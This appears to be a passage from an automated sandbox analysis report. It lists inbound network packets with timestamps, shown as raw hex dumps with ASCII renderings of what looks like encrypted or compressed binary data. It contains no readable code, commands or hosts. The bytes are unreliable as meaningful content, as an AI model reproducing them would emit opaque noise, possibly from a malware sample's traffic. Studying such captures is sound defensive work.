c6 6d d7 60 90 15 3c 82 41 44 21 dd 97 d1 3b 07 e9 5e b0 f3 3e 0f 29 3e d3 5b da 24 cc 29 61 22 f9 5d 8f 11 81 f5 Data Ascii: N.Rfqj<:_=c/)OmbGfk.<yx&,W)"aW2-/X5RH`'/h+c$h^OkI#\|,\|Hvl7+;_y~:Xi#A:^U&m`<AD!;^>)>[$)a"]
2022-08-31 06:34:45 UTC	490	IN	Data Raw: af 4a bb 45 e9 1e 51 06 90 ad b9 c3 8e 5f a3 fd 51 3a 7d eb 7c 99 28 4b 1e 74 ef f5 3d 27 08 d6 b3 2d 0c da 05 c3 bd 1a 94 e4 32 3e 1f ca b3 7c 91 40 cb 94 6d 2e f1 cc 8b 26 e7 28 e4 67 6d dc 90 06 31 5a 3c 3e a4 f0 ba 4a ce 52 51 f4 6a 9e d6 35 bd e2 ab b0 3e 93 13 87 4b 79 f7 08 cc e3 3b 57 9d 50 81 9c 1b e6 01 bc 2d 10 f2 bb 0e b7 3e 90 39 f3 3f f9 a2 34 78 f9 11 c4 76 d8 09 87 29 c4 4e 28 a2 c4 ca 61 0c d7 c1 44 83 76 0c 51 f2 bf 7b 61 eb cd f7 16 e3 50 20 93 0c 42 92 ca 7f d0 16 24 e9 ec 35 b8 b9 12 3b 1e a1 dd 46 e7 c5 4d fb 93 12 90 e3 e5 d6 c7 5b 61 b7 45 c3 68 1c 27 f9 a0 40 f6 95 04 68 a6 39 74 fa b7 6a f0 6e a4 d2 8b 0a 01 68 af e9 62 14 67 a0 14 ad ed ed 24 13 ee 5a d1 14 22 a6 a6 aa ae a2 de b9 4b aa 21 f9 73 6c 2c a7 e5 e5 64 12 1c a7 a1 1a Data Ascii: JEQ_Q:}\|(Kt='-2>\|@m.&(gm1Z<>JRQj5>Ky;WP->9?4xv)N(aDvQ{aP B$5;FM[aEh'@h9tjnhbg$Z"K!sl,d
2022-08-31 06:34:45 UTC	491	IN	Data Raw: 4a a7 28 cd 6a 6f 82 99 51 2f ea 63 d2 15 c6 30 c1 f8 8b 1c 79 38 36 2d 6b e2 b7 56 5e 37 63 6a 38 38 ee af 65 29 6c 8f 82 8c 49 8d 52 6e 7e a3 e9 01 8b e7 5d 05 3c 11 57 10 dc 63 e7 7a 08 a3 79 db 0a 61 48 85 9f eb f5 ff 29 e6 5a 00 b1 60 eb 3d c6 1a 2e d7 a2 99 66 4b 80 0b 48 e5 49 64 59 72 e7 2a 58 e2 dc 8e 20 07 a8 63 27 29 67 0c da 89 2f 15 50 b7 ee 89 e8 aa 60 ea f9 2b a6 6f 1c c2 ee 8b 54 fa c0 76 d4 b4 fa e1 24 86 43 6d 1e de f3 bf e4 a8 5e b1 df b1 dc 9c a6 e2 2e 67 84 d0 bd 8f aa 40 e5 7a 3a a5 85 0b f6 d2 8e a1 ad cd 61 6b 05 ec ef 66 a6 69 5a 80 aa d2 22 89 61 2e c7 42 c6 56 7d ae ec 5e 1a a3 c7 5e b7 03 ce 6f 7a 68 35 dd a7 ca f0 67 4a 15 50 22 64 93 63 3e 2d 7e aa f0 24 8a b4 9f a4 6b a9 c2 ad ad 41 e1 dd f1 e5 4e 6a 58 d4 3d 0e 80 f2 8a 0b Data Ascii: J(joQ/c0y86-kV^7cj88e)lIRn~]<WczyaH)Z`=.fKHIdYr*X c')g/P`+oTv$Cm^.g@z:akfiZ"a.BV}^^ozh5gJP"dc>-~$kANjX=
2022-08-31 06:34:45 UTC	493	IN	Data Raw: 6a 9e 01 cc 80 26 e2 73 c3 ac 80 7a 30 32 65 db 19 93 5b b2 be 32 b7 19 56 3c b6 81 02 d6 2d d1 d5 8e 43 4c 0b 22 2a ad ba 5d fa 2c 19 d6 d7 ee ff 7f 4c b6 8d 2b e7 df 78 59 1f 5b 1b 6f df 07 6d 7d a2 b2 c2 0f c5 2d bf 03 aa c1 cc ac 69 2e 66 2e 60 bd eb 0f 16 1a e4 91 f4 fa 2e 74 81 6f de 41 f0 58 1f 2e d6 6a d3 d0 d6 4d 7d b1 0e d5 53 6c ec ce 1f 8f 43 69 ce 96 3d 83 19 93 92 3b 99 84 db 2d a1 17 13 5b e3 b0 82 54 9f 29 f1 a0 f0 2e 5d 61 cd fa d2 1a 04 4e b5 a5 70 e5 ef 9a 90 dd 10 02 84 73 bc 27 2e 40 c7 36 35 6f a1 a2 c3 0b a9 e7 ab 25 ed 9b 51 e2 d7 2d 92 a6 9c 32 6b ec 95 4a d4 fe b6 11 95 4a 92 52 42 af a4 8b 8f 27 19 25 01 3b 12 5c 6b d5 17 ff c3 8f 8e 62 ff 36 51 8f 87 c1 42 b6 a9 12 ad 01 de 58 23 e0 1a c2 4b 92 9a 70 cc ca 8a a0 a5 63 6a 8e e3 Data Ascii: j&sz02e[2V<-CL"*],L+xY[om}-i.f.`.toAX.jM}SlCi=;-[T).]aNps'.@65o%Q-2kJJRB'%;\kb6QBX#Kpcj
2022-08-31 06:34:45 UTC	494	IN	Data Raw: 64 29 63 ed e5 af a3 60 d8 1f 79 87 54 41 49 74 7c 29 a4 22 6e ee e2 a5 2c 4c 05 5e 87 c6 5b 2f 86 c7 2b 4b e1 9c 51 ac 8c f0 d0 37 8c fc 3e 24 76 f5 8a 08 76 f4 79 af a3 4b 0b f8 cc 78 43 62 af 6a 01 5e 3f e6 bc 76 e5 0b d7 7d 1f 80 f2 aa 6c ac 1e 4a f6 2d 25 c7 dc b8 29 ed 2e 71 28 aa 1f 42 f5 78 ef 27 92 da f3 26 bc 97 d2 63 83 4c 84 40 2a 71 b0 e9 a9 5b 93 e3 27 a7 fc 71 ab e9 a9 47 8c ed ab e9 a9 43 2a c8 20 62 28 2e 70 fe 96 20 ed ee 97 c4 f7 80 f6 ae 08 45 f9 b1 c2 ca 19 6b a7 c4 7d 6c 2b b9 1f 00 98 02 a3 b2 65 27 4b df fa a4 96 6a 0b b2 dc 65 4d 09 dd a6 6f a7 69 51 57 a8 e5 76 fe e9 f6 e3 f5 64 23 6c 7a 77 61 2f e7 e3 64 20 77 39 f1 b7 59 17 22 62 f6 49 f0 35 a7 c2 7b dc 1b 90 8a fe e1 ee f7 b3 a3 67 d2 60 a7 6a 32 d7 32 57 5c 6e 25 38 b4 20 ea Data Ascii: d)c`yTAIt\|)"n,L^[/+KQ7>$vvyKxCbj^?v}lJ-%).q(Bx'&cL@q['qGC b(.p Ek}l+e'KjeMoiQWvd#lzwa/d w9Y"bI5{g`j22W\n%8
2022-08-31 06:34:45 UTC	495	IN	Data Raw: 19 e5 0c 0a 76 ba 76 b2 3e a1 6b 13 d5 38 a3 e5 22 cf 76 12 a4 dc 02 3e e0 bc 3f 35 b8 2d 2a 3c d2 de 3b 7b 9f 80 16 15 6e 10 d8 26 c8 00 3f 47 2a 75 e7 e8 ce 77 b9 e5 23 ab aa 77 bb a6 fa 51 85 ab 53 bb ca c1 35 7c 1a 71 5a cf 65 b0 e3 7a 38 27 f8 3c c9 87 e1 e4 6a 44 80 ae 89 46 79 50 b4 5f 7f e0 5b 49 6a 0b 48 4c 7c 43 ac 1b 15 cb a9 84 28 76 3a 08 e3 e1 5e f5 d4 64 b1 52 ea 06 0d f4 6b 34 cc 8c e7 99 a6 d1 e1 62 23 46 03 65 31 3e b5 15 aa 31 d0 be 5e e8 0d ba 5f 37 0d 71 3e c6 72 ec 14 36 56 34 47 f8 c5 ed de bd 46 f9 6c d8 77 a1 54 93 ea 4f 89 2f 73 38 2e 13 54 e0 33 d1 1f 83 10 ca 3b 95 85 21 df 3c d5 a7 7e 5f 91 28 6d c7 00 99 3f f7 7f e8 38 9e 9d bd c5 8a 35 f7 e7 61 2d 43 78 5e 69 a7 f3 aa ff 59 4f 28 13 99 df 7e 10 36 de df 50 e8 e6 14 1f ed a3 Data Ascii: vv>k8"v>?5-<;{n&?Guw#wQS5\|qZez8'<jDFyP_[IjHL\|C(v:^dRk4b#Fe1>1^_7q>r6V4GFlwTO/s8.T3;!<~_(m?85a-Cx^iYO(~6P
2022-08-31 06:34:45 UTC	496	IN	Data Raw: eb a3 d2 19 2a 29 e4 31 9c 82 e4 a1 79 33 6c e8 1e 97 80 c9 22 aa 13 1c 2c eb 22 af eb 3a 76 26 6e 62 be 7b b2 80 58 6a 2c c1 ca d3 37 87 23 66 b9 2c a1 35 f9 6f 77 04 1f f5 6d 62 87 b5 2d f3 a3 32 14 27 83 00 07 a0 cd 82 04 a0 26 e7 e6 a2 2c f1 b3 44 8f e3 79 2f 3e 18 2d 13 8b b5 2d 17 47 be 9a 44 78 13 0c 3d d7 2f 6a a9 e1 62 9a 6f 58 e9 a2 3b b6 5c 57 ec f2 7a a0 6e a3 e9 24 6d a9 e3 5d 07 bb 10 d1 2e 6c e0 4d 83 2e 20 67 fa 26 7a cd ff 0a c7 2d 0f 5f 13 9e 1a 80 6a 5d 37 39 a3 f1 3f ab 33 ce 56 43 7f a7 15 a5 e8 fc ab bf 67 28 31 32 af ae ea 80 4c ca 5a fb dc 00 7f 83 43 6b d3 5b 0a af be 1b d7 1a e3 bb db 7b 6d a7 1e d5 93 58 80 42 d8 e1 7e 3c fc ba 02 8c 2d b3 ff e2 df dd 6c ac 66 56 46 74 6f a6 5d 62 77 44 6c c1 9a bf ff e2 c5 4d 1f 7e d3 a8 ee dc Data Ascii: *)1y3l",":v&nb{Xj,7#f,5owmb-2'&,Dy/>--GDx=/jboX;\Wzn$m].lM. g&z-_j]79?3VCg(12LZCk[{mXB~<-lfVFto]bwDlM~
2022-08-31 06:34:45 UTC	498	IN	Data Raw: 17 b1 dd 19 e1 d4 fc b3 60 89 52 c9 e3 26 d4 1a ec c4 b7 96 2a 13 de de 26 d8 96 30 ce 7b 82 c3 f4 7e fd e6 bd e1 e9 36 94 d1 65 99 5f 26 eb ba 3e a6 2e 66 a4 6c ed df b3 41 8f 1a c7 5b ef 11 3b 7b dc 31 92 8f 1e 84 8d 4d 70 b0 3d d4 59 ef 35 67 36 69 27 53 1d 19 1c ec 16 d0 39 08 4d a9 d6 cd c2 08 32 fb 01 cd 60 fe 38 c3 7d f4 b8 54 5a 92 32 a6 64 f0 fd 36 6b 36 03 4d 2e 99 36 33 d7 45 80 c3 51 ed e1 dc 1f d4 e9 d0 36 3a e1 b8 b6 11 96 13 77 8f ba 36 3d f5 91 8f 9d 83 66 c5 fd a5 45 46 ab 58 46 ec 62 11 be c5 0b ba 1e 45 8c 2b 8a f7 18 87 78 dd 02 84 49 b5 0e db 3d 40 f3 80 32 3a c1 c9 e8 93 db 45 8a a0 31 a6 cb b8 2a 58 06 54 f4 3a 5a 07 29 a7 17 a3 f4 03 b2 69 3e 23 95 0d f9 a4 35 a9 6b cd 00 60 aa 10 32 4b 7e b7 e3 69 29 2a 9b e7 ad 4d 7d 11 be b9 9d Data Ascii: `R&&0{~6e_&>.flA[;{1Mp=Y5g6i'S9M2`8}TZ2d6k6M.63EQ6:w6=fEFXFbE+xI=@2:E1XT:Z)i>#5k`2K~i)*M}
2022-08-31 06:34:45 UTC	499	IN	Data Raw: f7 c5 4d ab 31 2c b3 12 9f 96 d5 b0 b3 7e bd 94 47 74 52 89 c7 6a 07 a2 85 a3 1a 6d 1e 02 3f 8e a4 6a 06 bf a0 e4 0f c0 94 95 83 05 ce 85 a6 e1 2c 8f 1f f5 61 6e f6 d3 92 12 09 55 ff 0e b5 d2 f8 9d 98 0e f0 76 b5 0a d7 ad 7e 05 ca 2d e0 7e bf e9 7a 4c d7 1d d8 32 74 05 49 60 af 6d 84 1e a6 d3 48 6b c1 0b a6 e9 e0 ba b3 18 d4 bd 2f b1 22 19 c7 7f 9c 58 b7 75 9e 53 19 7e 56 31 a4 0b c5 69 d9 97 26 f3 bf eb cc dc ff ef 15 59 24 a5 63 62 27 65 a3 e1 f2 37 a0 d3 13 eb e4 42 4b 53 0d fd d8 62 87 32 1e 5c 77 96 66 07 b7 fa a4 79 37 69 4c 80 af e0 a4 b4 38 a4 ab 82 3e 1a a2 6a ac d3 53 29 f6 d2 ec c1 51 6b a7 94 ad ea 69 23 e3 a6 73 b7 ab e3 5e 9d a1 6a a5 7c 9f de 38 6e a0 69 ad 41 05 e6 c9 9c 9d a1 c6 43 fd 99 26 17 5b eb e7 ab 26 41 c7 a0 26 38 74 eb 2c 60 26 Data Ascii: M1,~GtRjm?j,anUv~-~zL2tI`mHk/"XuS~V1i&Y$cb'e7BKSb2\wfy7iL8>jS)Qki#s^j\|8niAC&[&A&8t,`&
2022-08-31 06:34:45 UTC	500	IN	Data Raw: 61 a2 85 6d 60 c5 43 cf 61 57 3b 0d 49 47 08 01 aa 33 f0 62 ee 24 42 0f ea ed 20 10 9e e4 f9 97 e3 ff 1b b7 1e a3 0a da 77 c7 68 f4 5b c7 43 fe 1a b7 7a a3 67 aa 6e a6 69 30 ff a3 6a a0 0f 95 ae 04 b9 69 96 4a 55 b7 4f 93 e7 7e 8f 16 bb 47 5a e9 14 97 ee 13 5a 02 9a c2 5a cc 31 97 c5 38 5a 6b 97 96 a6 68 6e a0 9a 1f 71 a2 b7 59 13 13 d2 0c 6b a7 6a fa 7b 16 b6 2c 90 d6 38 bf 44 4b e4 2e 6e d8 d4 86 88 8e b1 22 39 81 ef dd eb fb c3 59 17 2c ed 65 a8 51 db 1b e3 d5 e5 e7 a1 58 a3 6e e3 2d 7e 7e a0 5c 95 a7 18 5c 10 28 06 49 af 16 f6 6e 0a ba f5 6d f2 79 d4 53 0e ad 00 58 80 22 ea a0 0d fc 08 e3 27 a2 af 87 ca d7 59 8e 02 5a 80 18 18 0f 9d ab 20 2e 08 fd 1b 76 7a 67 ef 02 48 ba 46 d1 7f 1f f0 be 63 e9 47 36 fb 52 df e2 7e e1 56 c0 2f 10 80 da a3 05 7c 36 be Data Ascii: am`CaW;IG3b$B wh[Czgni0jiJUO~GZZZ18ZkhnqYkj{,8DK.n"9Y,eQXn-~~\\(InmySX"'YZ .vzgHFcG6R~V/\|6
2022-08-31 06:34:45 UTC	502	IN	Data Raw: d4 c2 f6 f1 f3 2b a2 e2 28 90 8e 3b d2 17 fe 3a 67 aa d3 1d 97 99 a4 4b 4d 7b 89 55 24 a0 b6 d3 4e a6 e0 a0 c2 53 46 96 ef d8 5d 9a 50 4d cb ad bd 7b 26 5b 90 e4 3e f1 2d 94 08 1e 98 5b 9e 8c 53 ef dc 94 c4 05 21 a0 aa 19 62 94 93 53 dc 19 e3 2f 57 99 14 c3 35 e7 a1 95 08 12 0c 11 5c 1c d4 4d 46 ac 28 a5 c9 1c cf 5a 6f 12 11 3f 79 0d 1d b7 dd 10 2a 6c 58 c5 df c1 dc 91 d1 19 a1 e1 69 27 26 a5 cd 18 a4 87 d5 ac a3 a6 6a 6b b5 80 67 4e c7 7c f1 4a 85 64 8b 48 ad 54 b2 74 34 b9 24 fc f7 ff bd a0 ce 81 66 f0 3b 6a 0b 49 6d 07 87 69 90 5e a4 59 97 69 c2 30 9b 69 9c d2 2c 39 79 e7 20 95 27 95 d2 17 24 e0 f7 c4 c8 6e 8b d2 a7 6a 21 67 a9 ae e6 f4 6f bc b9 f0 33 62 3f 64 2a 11 5d 1c d8 61 2c e7 2a 2f 37 cb f8 4a ca 07 20 33 79 ce 01 f4 27 f6 a1 e8 09 c2 02 15 f3 Data Ascii: +(;:gKM{U$NSF]PM{&[>-[S!bS/W5\MF(Zo?ylXi'&jkgN\|JdHTt4$f;jImi^Yi0i,9y '$nj!go3b?d]a,*/7J 3y'
2022-08-31 06:34:45 UTC	503	IN	Data Raw: 80 bd 08 c6 f1 a2 68 f8 2a 37 82 b1 b5 b6 1e 6f 21 3f 47 c8 83 3c f4 a9 6a 29 01 26 c4 92 99 18 72 03 e1 2d 95 6e eb 73 f6 ad 1a db b2 69 9c be c6 fb 6b f3 b3 a4 96 d1 28 90 1f 25 28 66 64 cf 49 9e 87 4e 55 6e 67 20 79 a5 7d 87 3d 87 d2 a7 e1 f7 13 cf 49 c4 18 31 5a d5 ee ef f1 34 a2 fb fe 26 ee 1a 22 42 48 f0 73 6f cd d4 76 8b 5a cb 90 10 c6 2a 8a d5 eb c5 5e 94 2f 19 39 cd 44 1f 12 a9 57 69 ba ad b0 95 99 d5 61 bd 07 6d ab a1 62 4f 8e b3 0e d8 0b c5 5a c9 d4 32 c8 7b 6d b3 85 5a 02 c9 f6 69 d4 02 d8 5a 97 5a 6e 29 92 52 52 e9 9c bf 88 5a 97 5a 9d 50 98 52 82 1a 2f a6 fd e0 71 fb 25 9e c8 f5 80 b7 d5 18 1e 69 23 20 2f c9 e3 49 25 69 04 c7 b2 3b a1 26 00 29 dc db 44 d1 7e 51 b8 93 8d 74 38 5d 05 ec a0 b1 e9 74 c8 7e 98 68 6c fa c7 15 50 7e 8a 60 ea dd 15 Data Ascii: h7o!?G<j)&r-nsik(%(fdINUng y}=I1Z4&"BHsovZ^/9DWiambOZ2{mZiZZn)RRZZPR/q%i# /I%i;&)D~Qt8]t~hlP~`
2022-08-31 06:34:45 UTC	504	IN	Data Raw: 4f e0 e1 c1 48 d8 53 c1 ab 0a 26 d5 f5 86 2f cc 6d 8d 2c 13 f6 69 ec 02 ff 55 c8 88 5a 59 a5 9a 09 c8 74 3c 3a 73 75 b8 75 e0 00 47 6a 96 43 bf fe e9 a4 b3 a1 41 96 4e b2 30 f5 42 32 36 4f 25 83 00 cd 2a 8d aa 49 64 47 a3 ba ff 0e cb 6a 2a 87 56 5f 8b b2 14 cc 01 cd cb 66 0b c6 f5 4d cb 93 c0 dc bb 7a 1f 9b 14 f2 55 a5 74 3b e9 b4 10 c9 6f f6 da 42 73 37 0a 4f 7e 76 6b 5c 49 f5 c8 ca 67 2d f9 e9 80 3a d6 80 af c1 f9 b4 90 57 7c 4d 96 9b 22 09 a3 49 97 62 73 8e 9f f9 0a 34 32 52 e3 6b dd 55 d6 85 ed 42 96 39 ee a6 68 47 93 4c 82 52 92 3e aa 06 6e eb 8c 82 1d 91 01 12 82 92 64 cc a9 3f 01 57 ea 24 e5 aa e8 47 63 80 df d4 69 69 08 dd 44 f4 44 27 af 4f 43 2f 2d e0 3e 0e 51 25 c3 63 a9 cd 2b 01 49 12 9a 4d 84 b3 2a f4 2b ea 37 f6 68 59 05 83 be de f8 0d 69 80 Data Ascii: OHS&/m,iUZYt<:suuGjCAN0B26O%IdGjV_fMzUt;oBs7O~vk\Ig-:W\|M"Ibs42RkUB9hGLR>nd?W$GciiDD'OC/->Q%c+IM*+7hYi
2022-08-31 06:34:45 UTC	506	IN	Data Raw: f6 67 6e 67 59 95 40 44 93 96 59 40 be 6b 56 57 ed 21 54 6c 9e 24 17 81 b2 20 55 1f ed 21 38 f2 2b e4 5d 48 62 b4 c1 ab 62 c2 54 08 b5 3b aa 76 cd 88 f3 f4 a2 3c d8 c6 22 68 0f 65 c2 cd 00 27 b7 da ca 04 5d b2 3a f3 6f 2f fa 7f a9 b0 14 cc 01 cd cb c6 a8 c5 f5 4d cb 13 3f a3 3b f8 1d 9b 14 f2 55 a3 72 bb 6d b0 10 c9 6f f6 fa 6c 7d 07 3a 4f 7e b6 eb 3c 69 39 04 ba e2 25 6a 35 87 2f 5a 5f cd 48 89 f0 d6 24 e5 40 15 a6 fd 4e 11 3d 8b c0 e2 48 19 57 5c 32 21 80 0d 80 65 8c 74 b5 99 9e 84 f8 f1 48 31 b9 50 1d 82 cf 2a aa a6 48 41 60 86 ee 5e b5 60 e5 02 ff 95 4f f5 e8 dd aa 6b 24 82 0c cd 4b ac e2 e1 24 86 17 60 a6 b0 7b 39 c3 0c 37 9c 4a e0 25 28 64 0e c0 2b 47 3f 79 8b bc 42 d3 d3 97 23 e8 68 e2 ac da 95 d9 1f bd 49 54 f5 a6 37 a9 31 19 ac 89 3a f5 68 f1 c3 Data Ascii: gngY@DY@kVW!Tl$ U!8+]HbbT;v<"he']:o/M?;Urmol}:O~<i9%j5/Z_H$@N=HW\2!etH1P*HA`^`Ok$K$`{97J%(d+G?yB#hIT71:h
2022-08-31 06:34:45 UTC	507	IN	Data Raw: fb 2e 4b c6 a7 d4 06 34 4a 81 5f 99 ae e0 0c 0f ee 37 be 72 96 00 44 99 ff 59 fd 97 75 12 df 6e a6 ea 1c 24 f6 a5 30 36 85 e5 7d ec 54 00 bf e6 93 35 a0 d9 04 8b 81 0f 23 25 6a 4e ac 45 f5 81 fa 09 6f 25 4b 2c ec e7 30 6a 9e ee cb 45 60 ae 15 8d f0 42 8f 82 7b 4a b1 e4 34 77 a5 e1 5c 55 e9 83 5b 4e 07 dc 82 d9 2f fe 4a 5b ab dd cf c9 b7 2c 71 d9 96 29 d6 5a e9 80 03 7a df 32 97 f4 3c 5f 97 be 43 5a ff 97 02 7a 58 d0 82 1a d7 6a d7 60 9d 5a b9 44 95 c8 52 4f d7 7a c7 1a 48 f5 d7 b3 4e 5a 93 0b 42 da e2 1f 97 e2 9f da 82 7f 97 13 8b 8f 17 ff 02 5a c9 34 97 2a 17 9a 24 bc 02 99 07 79 17 a8 55 5a a7 da 17 74 ec 0f 97 8e f3 da 1e a3 d7 86 7a 5a a7 3b f5 6b a0 71 b3 61 a2 89 41 6c e0 b9 35 6d bf 6a b0 6b 9d 58 ac 60 ac 6d a6 69 a6 75 a8 64 a0 6e 46 99 f7 3a b4 Data Ascii: .K4J_7rDYun$06}T5#%jNEo%K,0jE`B{J4w\U[N/J[,q)Zz2<_CZzXj`ZDROzHNZBZ4*$yUZtzZ;kqaAl5mjkX`miudnF:
2022-08-31 06:34:45 UTC	508	IN	Data Raw: 63 6b c3 1b fd 25 df 56 27 eb 59 6b 1c 5b eb 35 cb 25 2f 5f 92 a6 94 4d eb 73 2e a1 78 77 88 ff 9d 6f df 07 6d f1 6f a3 00 cc e6 6f db 03 c5 5c 7b 3e 25 62 32 aa c6 2d ef 5f 9d 4d e3 7b 29 29 bf ef 29 94 60 c5 9d 4d 6f 77 3c 31 62 a7 63 26 eb 2d 11 d2 19 25 24 f7 40 e5 3b a2 c3 4d e7 3c 65 87 03 22 a1 c4 42 fd 60 dd 02 a5 6f 02 cb a5 6c b5 2a a6 56 cc 94 2d 4f 1b 79 4d f7 2d 6c 1a 13 db d6 27 e5 ed d6 05 ba 69 df 57 4a 0d e7 20 f9 24 fb a0 93 2d 38 80 7e ab 7d fe 6b b6 35 ff b8 6b 06 54 aa f9 bf 61 db 68 94 82 3a 7f a1 0d 6b 2c 04 83 c1 0d a9 2f 61 e1 f3 cb 94 34 dc eb 08 65 4f 40 27 eb ab 39 1a 0d 1e 81 2a f8 a5 d7 df 8e c7 34 bc b2 93 d9 d4 f9 73 88 e7 7e 6f 73 3b 33 b9 e5 fb 37 69 34 17 1e b7 14 40 24 c3 cc ac 63 d9 16 6b b1 f5 6d 2d c9 00 2e be fa 96 Data Ascii: ck%V'Yk[5%/_Ms.xwomoo\{>%b2-_M{)))`Mow<1bc&-%$@;M<e"B`olV-OyM-l'iWJ $-8~}k5kTah:k,/a4eO@'94s~os;37i4@$ckm-.
2022-08-31 06:34:45 UTC	510	IN	Data Raw: dc 6d 2d 28 c2 3c c9 44 d4 22 29 a8 dc 15 70 83 8f 7c f0 0a 26 cc 02 eb d5 26 aa 0b 46 8e f7 af 59 65 97 98 6e 7d 06 47 42 c3 8c e8 3a b3 c6 59 b4 45 4a 34 9b 94 b9 ad 25 cf 4b 16 d7 2a 6e a6 06 49 25 c7 4e 6a 4e c2 36 43 a0 6a 30 ee 3b 0f da 12 af 7f aa 6a 27 dd d5 f3 29 b8 a2 2f ea aa 0a e0 c9 ee 62 bd 64 0b c0 28 a6 0e cc d2 dc 42 0b 73 e2 00 d1 94 1a 35 cd 06 b1 72 b7 75 d1 1a a7 65 d9 1b a2 dd 15 80 4e 88 75 83 f7 a4 3e 92 84 5d 96 55 fe 11 31 23 75 2c c0 4e 42 92 4a 76 0e 33 f9 d4 1c b9 6a a3 e3 df d7 5d cb 55 f5 d2 19 9e 62 1c dd 08 cd 5a c1 d4 38 35 6d ab 20 ad 49 61 77 2a 21 f1 c8 94 fa e9 78 f7 80 47 c3 94 31 fa 05 b9 5a 30 e2 6a 29 71 f0 be 92 f3 f6 62 43 7e 77 a0 a5 8a b3 69 f4 b6 ef c3 33 0f 90 bf 6e 81 0c d0 00 7f 67 b0 ae 6d bf f0 f2 29 5d Data Ascii: m-(<D")p\|&&FYen}GB:YEJ4%KnI%NjN6Cj0;j')/bd(Bs5rueNu>]U1#u,NBJv3j]UbZ85m Iaw!xG1Z0j)qbC~wi3ngm)]
2022-08-31 06:34:45 UTC	510	IN	Data Raw: 05 86 81 14 bc fd 3d ab b2 bc a8 fa f8 2e e3 de d3 7e 37 35 08 16 24 6f 51 53 e6 69 4f 9b 36 6f 5d 6f d6 78 30 dc 95 1b 66 db a1 e7 a2 88 bb 1a a7 82 68 b7 a2 6a db 2f 75 7e 26 15 f5 c5 a4 6a d5 84 1f 7d 62 cc f1 74 f4 74 f4 67 27 c5 0d f8 7b aa 4f 83 f4 3a ad e3 a2 10 99 fa de 31 09 5f 2f 1b 99 4b 59 d9 34 cc e0 23 d8 14 db 38 19 bf a1 61 9a 66 b4 be 53 ef a5 fb f2 1b f1 b7 68 5f d2 1d 5f e6 2b e0 86 72 cf f0 79 de 8e bd 99 86 20 ea 5e 91 0c 49 21 9d e3 6b 91 99 47 2c 7a 94 de 36 3e 83 bc 26 d8 14 d9 03 64 95 38 b8 bf 62 2c e6 b0 0c d5 5d 5d a3 4c 84 29 ae ec 45 44 99 14 13 20 0f b4 6b ac 53 62 cd 20 ad b4 6a d2 19 88 c0 8d e3 d3 6c f7 95 2d 17 47 47 44 4e a5 6a 2c f6 3b a6 e8 49 4a fc b6 ab 57 4b a4 d0 fc cf 80 63 87 ca 36 34 d4 4b 81 4b 82 9d 51 3f 00 Data Ascii: =.~75$oQSiO6o]ox0fhj/u~&j}bttg'{O:1_/KY4#8afSh__+ry ^I!kG,z6>&d8b,]]L)ED kSb jl-GGDNj,;IJWKc64KKQ?
2022-08-31 06:34:45 UTC	512	IN	Data Raw: 3c da 96 69 26 4e 4a ac 6d 7d 27 98 8b bf f9 62 6b 48 c4 7b 55 4b e7 f8 37 e8 55 c4 2d f7 2c e1 4e 16 a5 38 0d 51 db de b1 29 a5 d3 85 f5 2f ed 19 81 fb f8 56 4e a3 7e 73 7a 74 2c 23 e4 2a ae 59 8f 5e 45 ab fd 0d 5f 75 78 64 64 45 4f ad a8 92 1d 05 48 b5 5f 41 8b aa c5 6c 62 24 77 a2 76 5a 53 6a 3c 31 23 2d 79 34 da 57 91 8a 52 87 e2 a1 89 c7 a5 fb b4 16 1f e0 7f 4b 96 11 57 1b f9 4a c6 a7 5e 24 b8 6b 43 8d c0 c7 8a 5c 34 86 ad 20 6e 2b 33 fc 8d 65 28 81 f2 5d 9c 97 99 31 eb 79 42 d0 44 a1 ef 69 69 24 be f2 a4 ad ad 85 66 cb 50 9c 1e 33 b7 18 55 10 e3 8d 4e 6d 68 c3 16 89 95 86 4d 8f 04 2d ed 5c c5 b1 ca 62 00 cf c1 ab 2b 87 65 8a e5 23 61 0c 00 36 76 1c 1b 61 a1 8c b4 a6 59 7d 10 82 cc 28 ac 23 d5 08 53 ae 44 cc ed 65 a4 b5 4b 9a 61 2d dc a9 a2 91 a0 ec Data Ascii: <i&NJm}'bkH{UK7U-,N8Q)/VN~szt,#*Y^E_uxddEOH_Alb$wvZSj<1#-y4WRKWJ^$kC\4 n+3e(]1yBDii$fP3UNmhM-\b+e#a6vaY}(#SDeKa-
2022-08-31 06:34:45 UTC	513	IN	Data Raw: d6 13 e3 55 50 7a b8 6a 94 90 e3 e3 92 d1 29 7e b7 50 d9 23 5a ef d4 2d 65 f9 4e 9b dd f6 09 2a d3 06 f9 9c 2c a6 26 fe f5 f7 59 b1 ec ff 79 62 2a a5 1d 79 12 b9 ab c2 ae 8f 9d 6a 65 84 34 39 c3 64 ff c9 20 e2 6f df de 63 22 3a 0a 92 f7 b7 a9 2e 96 fa 06 e8 a2 d2 0a cb 5c 7a f8 d5 5d 65 88 be 53 65 50 92 41 1a e1 b1 24 a5 e5 9f 51 af 6e e1 52 19 a5 62 af e1 b9 ae ec fb e7 2a 7e 10 df c5 88 1c 09 da b9 ce 24 12 7a 99 4a 40 a1 ff 61 9f 15 5b 4f b4 71 b4 21 30 7e 96 89 3b d5 c3 77 2d 25 cb ce a2 16 17 4e 04 b1 b5 25 c7 3e 12 ee 23 42 d3 0e f5 cb 6a aa 67 a7 e1 92 3b 54 38 e9 bb 2d d7 e2 47 32 86 ef c6 57 06 27 e1 2e ed 33 6e 31 11 5c 1d 4f 75 44 f2 5d 67 2d 5e f6 90 af 77 23 e9 50 c0 79 c1 82 9b bf d0 72 e9 60 54 98 e9 14 f4 08 28 20 a4 8b 9c 38 be 1a b2 ac Data Ascii: UPzj)~P#Z-eN,&Yybyje49d oc":.\z]eSePA$QnRb*~$zJ@a[Oq!0~;w-%N%>#Bjg;T8-G2W'.3n1\OuD]g-^w#Pyr`T( 8
